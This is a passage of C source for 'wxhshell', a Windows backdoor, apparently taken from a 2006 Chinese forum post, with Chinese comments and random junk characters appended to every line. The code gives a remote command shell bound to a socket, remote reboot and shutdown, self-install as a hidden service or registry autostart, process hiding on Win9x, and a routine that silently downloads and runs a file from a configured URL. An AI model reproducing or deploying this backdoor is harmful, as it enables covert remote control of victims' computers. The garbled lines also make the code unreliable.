    switch(cmd[0]) { vZ[wr@)  
  4Cs |F7R  
  // 帮助 aI]EwVz-q  
  case '?': { {\3ZmF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bK:mt`  
    break; z97RNT|Y7U  
  } `R@1Sc<*|  
  // 安装 %fB]N  
  case 'i': { ^$-ID6  
    if(Install()) 9?$Qk0jc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3oX\q/$  
    else NuZiLtC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H&`0I$8m  
    break; fz'@ON  
    } cKt=_4Lf  
  // 卸载 7M;7jI/C  
  case 'r': { yO\ .dp  
    if(Uninstall()) 8,unq3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8D3|}z?  
    else &`+tWL6L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gXZl3  
    break; hKo& ZWPq  
    } yf3c- p  
  // 显示 wxhshell 所在路径 <4r3ZV;'  
  case 'p': { E(]39B"i  
    char svExeFile[MAX_PATH]; }pqnF53  
    strcpy(svExeFile,"\n\r"); F(+,M~  
      strcat(svExeFile,ExeFile); 1vw [{.wC  
        send(wsh,svExeFile,strlen(svExeFile),0); r]JV !'R  
    break; LsB|}_j7  
    } u7  s-  
  // 重启 66ULR&D8  
  case 'b': { h`Ld%iN\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  !4Q0   
    if(Boot(REBOOT)) klpYtQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@T-kAEf-.  
    else { ZSWKVTi  
    closesocket(wsh); eO7 )LM4  
    ExitThread(0); tZ|0wPp  
    } rjk{9u1a"  
    break; T$ w`=7  
    } {\:"OcP #  
  // 关机 z{;~$."  
  case 'd': { +UvT;"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lqaOLZH  
    if(Boot(SHUTDOWN)) jimWLF5Q5"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rda~Drz  
    else { !i4/#H  
    closesocket(wsh); 7bk=D~/nSg  
    ExitThread(0); $c^,TAN  
    } GpwoS1#)0|  
    break; 'tJb(X!]q  
    } r2b_$  
  // 获取shell v?6g. [;?  
  case 's': { "+dByaY  
    CmdShell(wsh); 8%\0v?a5  
    closesocket(wsh); Sm5 T/&z  
    ExitThread(0); H@|h Nn$@  
    break; yq6Gyoi<  
  } NQ3EjARZt  
  // 退出 W]B75  
  case 'x': { 9_Ws8nE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cPp<+ ts  
    CloseIt(wsh); +H**VdM6s  
    break; woyn6Z1JQ  
    } bI?uV;m>  
  // 离开 Fo.p}j+>  
  case 'q': { BbC aIt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u%24% Q  
    closesocket(wsh); BJ*8mKi h  
    WSACleanup(); 1`q>*S](  
    exit(1); +3d.JQoKl  
    break; OAiSE`  
        } v$d^>+Y#  
  } `z1E]{A  
  } !+o`,KTYp  
96#aG h>  
  // 提示信息 p|0ZP6!|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )<K3Fz Bs  
} ; 8B )J<y  
  } Oj]4jRew  
~TfN*0  
  return;  8 ?4/  
} EvGKcu  
D/oO@;`'c  
// shell模块句柄 !;%+1j?d  
int CmdShell(SOCKET sock) #+ai G52+  
{ L"[>tY  
STARTUPINFO si; W*WSjuFr2  
ZeroMemory(&si,sizeof(si)); h8 !(WO!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =N^j:t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U UYx-x  
PROCESS_INFORMATION ProcessInfo; f?BApm  
char cmdline[]="cmd"; N= G!r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qA>C<NL  
  return 0; ?' /#Gt`  
} M{)|9F  
H[[#h=r0f  
// 自身启动模式 I7]qTS[vg  
int StartFromService(void) 2qDyb]9  
{ bH`r=@.:cu  
typedef struct :=oIvSnh  
{ L)QAI5o:3  
  DWORD ExitStatus; ,sZ)@?e  
  DWORD PebBaseAddress; rp_Aw  
  DWORD AffinityMask; Eoh{+>:6  
  DWORD BasePriority; q Oyo+hu  
  ULONG UniqueProcessId; "?Yf3G:\0  
  ULONG InheritedFromUniqueProcessId; *wl&Zzx  
}   PROCESS_BASIC_INFORMATION; #-7m@EU;O  
&]S\GnqlU]  
PROCNTQSIP NtQueryInformationProcess; j<PpCL_8%  
+@BjQ|UZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !V27ln KP+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DTN)#G CtF  
f\X7h6k8{  
  HANDLE             hProcess; ]&_z@Z.i  
  PROCESS_BASIC_INFORMATION pbi; e3=-7FU  
P;V5f8r?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r}M2t$nv  
  if(NULL == hInst ) return 0; a_(fqoW  
8T"8C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @$R^-_m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \rSofn#c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p"|0PlW  
?F^O7\rw  
  if (!NtQueryInformationProcess) return 0; $0,lE+7*  
z|v/h UrD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5-! Zm]  
  if(!hProcess) return 0; {1L{   
u,`cmyZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >p>B-m  
=v6qr~  
  CloseHandle(hProcess); JLh{>_Rr  
Ocf:73t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V*%Lc9<d  
if(hProcess==NULL) return 0; r68d\N`.  
cIQ e^C  
HMODULE hMod; 3Bbd2[<W  
char procName[255]; 4;)aGN{e  
unsigned long cbNeeded; Psw<9[  
NxrfRhaU3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2|JtRE+  
OR<%h/ \f  
  CloseHandle(hProcess); .9$ 7 +  
"W@>lf?"  
if(strstr(procName,"services")) return 1; // 以服务启动 rtT*2k*  
ueLdjASJ  
  return 0; // 注册表启动 c^8csQ fG  
} {O5(O oDa  
c;doxNd6  
// 主模块 R=<uf:ca  
int StartWxhshell(LPSTR lpCmdLine) G~{#%i  
{ SGUZ'}  
  SOCKET wsl; Z ItS(o J.  
BOOL val=TRUE; -m_H]<lWZ  
  int port=0; 8^5@J) R8  
  struct sockaddr_in door; m:]60koz]o  
dw3H9(-lp  
  if(wscfg.ws_autoins) Install();  `s~[q  
u$ a7  
port=atoi(lpCmdLine); ';KZ.D  
!Nx'4N`&l  
if(port<=0) port=wscfg.ws_port; DlxL:  
Ybp';8V  
  WSADATA data; pe>[Ts`2F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XG8UdR|  
)|`w;F>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M&5De{LS}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {8w,{p`  
  door.sin_family = AF_INET; qU+q Y2S:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vxl!`$Pi  
  door.sin_port = htons(port); C~c|};&%  
O=\`q6l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A9kn\U92  
closesocket(wsl); {"hyr/SKd  
return 1; nrJW.F]S8[  
} f;]C8/W  
j)Y68fKK  
  if(listen(wsl,2) == INVALID_SOCKET) { :0vKt 6>Sp  
closesocket(wsl); 8~:s$~&r  
return 1; 0jMS!"k   
} zTW)SX_O  
  Wxhshell(wsl); wG",Obja  
  WSACleanup(); f_;6uCCO  
&m{vLw  
return 0; ?xYoCn}Z  
8w9?n3z=}  
} p(pL"  
3\H0Nkubts  
// 以NT服务方式启动 OHK]=DH:M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ry"N_Fb  
{ 905Lk>rB  
DWORD   status = 0; >m4HCs>  
  DWORD   specificError = 0xfffffff; l]F)]>AE  
C>Cb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %d2\4{{S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3$h yV{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3R`eddenF  
  serviceStatus.dwWin32ExitCode     = 0; y/OPN<=*  
  serviceStatus.dwServiceSpecificExitCode = 0; }= (|3 \v  
  serviceStatus.dwCheckPoint       = 0; d/l>~%bR  
  serviceStatus.dwWaitHint       = 0; /YD2F  
#GIjU1-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )|IMhB+4  
  if (hServiceStatusHandle==0) return; (x/xqDpmBS  
-(l/.yE{X  
status = GetLastError(); p[:E$#W~;  
  if (status!=NO_ERROR) {/q4W; D  
{ [Q:mLc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vl:V?-sY  
    serviceStatus.dwCheckPoint       = 0; k_](u91  
    serviceStatus.dwWaitHint       = 0; Gp}}M Gk  
    serviceStatus.dwWin32ExitCode     = status; z1m$8-4  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ue!~|:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Y<(7  
    return; TRku(w1f  
  } N\W4LO6  
4<q'QU#l<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gYW  
  serviceStatus.dwCheckPoint       = 0; TUM7(-,9  
  serviceStatus.dwWaitHint       = 0; ZGC*BP/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3#~w#Q0%  
} +JPHQx'W  
f~v@;/HL  
// 处理NT服务事件,比如:启动、停止 nW!pOTJq21  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +=g9T`YbE  
{ (VB-5&b  
switch(fdwControl) NG\^>.8  
{ ">!<OB  
case SERVICE_CONTROL_STOP: o 76QQ+hP  
  serviceStatus.dwWin32ExitCode = 0; F9 2et<y.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4NRG{FZ9  
  serviceStatus.dwCheckPoint   = 0; F8>J(7On  
  serviceStatus.dwWaitHint     = 0; K&UTs$_cI  
  { $pfN0/`(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z{rD4S @^  
  } I9g!#lbl  
  return; 8 CCA}lOG  
case SERVICE_CONTROL_PAUSE: v)-:0 f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y4`uU1=  
  break; )~=g}&  
case SERVICE_CONTROL_CONTINUE: u>h|A(<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7f#r&~=  
  break; } DQ KfS  
case SERVICE_CONTROL_INTERROGATE: P= nu&$;  
  break; ^^{7`X u  
}; v8NoD_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CK#SD|~:  
} l t{yo\  
e2vL UlL8  
// 标准应用程序主函数 M\)(_I)V=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =`fz#Mfd  
{ Bxs0m]  
6}^6+@LG  
// 获取操作系统版本 uH=^ILN.  
OsIsNt=GetOsVer(); uM74X^U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MH h;>tw  
rLJjK$_x  
  // 从命令行安装 sq1v._^s  
  if(strpbrk(lpCmdLine,"iI")) Install(); b,o@ m  
JmJNq$2#c  
  // 下载执行文件 ,c.(&@  
if(wscfg.ws_downexe) { t+%tN^87:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @zAav>  
  WinExec(wscfg.ws_filenam,SW_HIDE); oV=~ Q#v  
} Fa^I 1fk  
OYayTKxN  
if(!OsIsNt) { iK=SK3)vR  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;vLg4k  
HideProc();  jgd^{!  
StartWxhshell(lpCmdLine); 2kV{|`1  
} ,n\'dMNii  
else y-=YXqj  
  if(StartFromService()) <OA[u-ph%S  
  // 以服务方式启动 e'L$g-;>4b  
  StartServiceCtrlDispatcher(DispatchTable); +RN|ZG&  
else ddG5g  
  // 普通方式启动 E;)7#3gY1  
  StartWxhshell(lpCmdLine); E6_.Q `!ll  
0VwmV_6'<W  
return 0; ,G%?}TfC)  
}
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只看该作者 1 发表于: 2006-10-10
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